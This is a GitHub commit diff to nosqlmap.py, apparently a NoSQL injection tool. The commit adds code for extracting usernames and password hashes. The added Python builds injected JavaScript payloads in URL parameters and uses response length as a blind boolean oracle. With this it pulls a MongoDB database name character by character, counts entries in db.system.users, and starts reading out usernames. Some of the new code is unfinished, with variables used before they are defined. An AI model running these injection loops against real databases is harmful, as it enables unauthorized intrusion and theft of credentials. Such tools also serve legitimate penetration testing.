Skip to content

Commit 00ab192

Browse files
committed
Started work on extracting usernames and hashes
1 parent cc67311 commit 00ab192

File tree

1 file changed

+43
-1
lines changed

1 file changed

+43
-1
lines changed

nosqlmap.py

Lines changed: 43 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1139,10 +1139,12 @@ def getDBInfo():
11391139
gotColLen = False
11401140
gotColName = False
11411141
gotUserCnt = False
1142+
finUser = False
11421143
dbName = ""
11431144
charCounter = 0
11441145
nameCounter = 0
11451146
usrCount = 0
1147+
usrRetr = 0
11461148
chars = string.ascii_letters + string.digits
11471149
print "Getting baseline True query return size..."
11481150
trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
@@ -1168,7 +1170,7 @@ def getDBInfo():
11681170

11691171
print "Database Name: ",
11701172
while gotDbName == False:
1171-
charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a")
1173+
charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a" + "&")
11721174
#print "Debug: " + charUri
11731175

11741176
lenUri = int(len(urllib.urlopen(charUri).read()))
@@ -1192,6 +1194,9 @@ def getDBInfo():
11921194
getUserInf = raw_input("Get database users and password hashes? ")
11931195

11941196
if getUserInf == "y" or getUserInf == "Y":
1197+
charCounter = 0
1198+
nameCounter = 0
1199+
#find the total number of users on the database
11951200
while gotUserCnt == False:
11961201
usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a")
11971202
lenUri = int(len(urllib.urlopen(usrCntUri).read()))
@@ -1203,6 +1208,43 @@ def getDBInfo():
12031208
else:
12041209
usrCount += 1
12051210

1211+
print "User:password hash"
1212+
while usrRetr < usrCount:
1213+
while gotUserCnt == False:
1214+
#first solve for the first user in the DB
1215+
#figure out how long the username is
1216+
usrLenUri = uriArray[16].replace("---", "cur=db.system.users.findOne();uname=cur.user; if (uname.length==" + str(charCounter) + "){return true;}var dum = 'a" + "&")
1217+
lenUri = int(len(urllib.urlopen(usrLenUri).read()))
1218+
1219+
if lenUri == baseLen:
1220+
print "First username is" + str(charCounter) + "characters."
1221+
gotUserCnt = True
1222+
1223+
else:
1224+
charCounter += 1
1225+
1226+
1227+
while finUser == False:
1228+
charUri = uriArray[16].replace("---","var cur = db.system.users.findOne(); if (cur.user.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a" + "&")
1229+
#print "Debug: " + charUri
1230+
1231+
lenUri = int(len(urllib.urlopen(charUri).read()))
1232+
#print "debug: " + str(charCounter)
1233+
#print "Debug length: " + str(lenUri)
1234+
1235+
if lenUri == baseLen:
1236+
uName = uName + chars[charCounter]
1237+
print chars[charCounter],
1238+
nameCounter += 1
1239+
charCounter = 0
1240+
1241+
if nameCounter == curLen:
1242+
finUser = True
1243+
1244+
else:
1245+
charCounter += 1
1246+
1247+
12061248

12071249

12081250
raw_input("Press enter to continue...")

0 commit comments

Comments
 (0)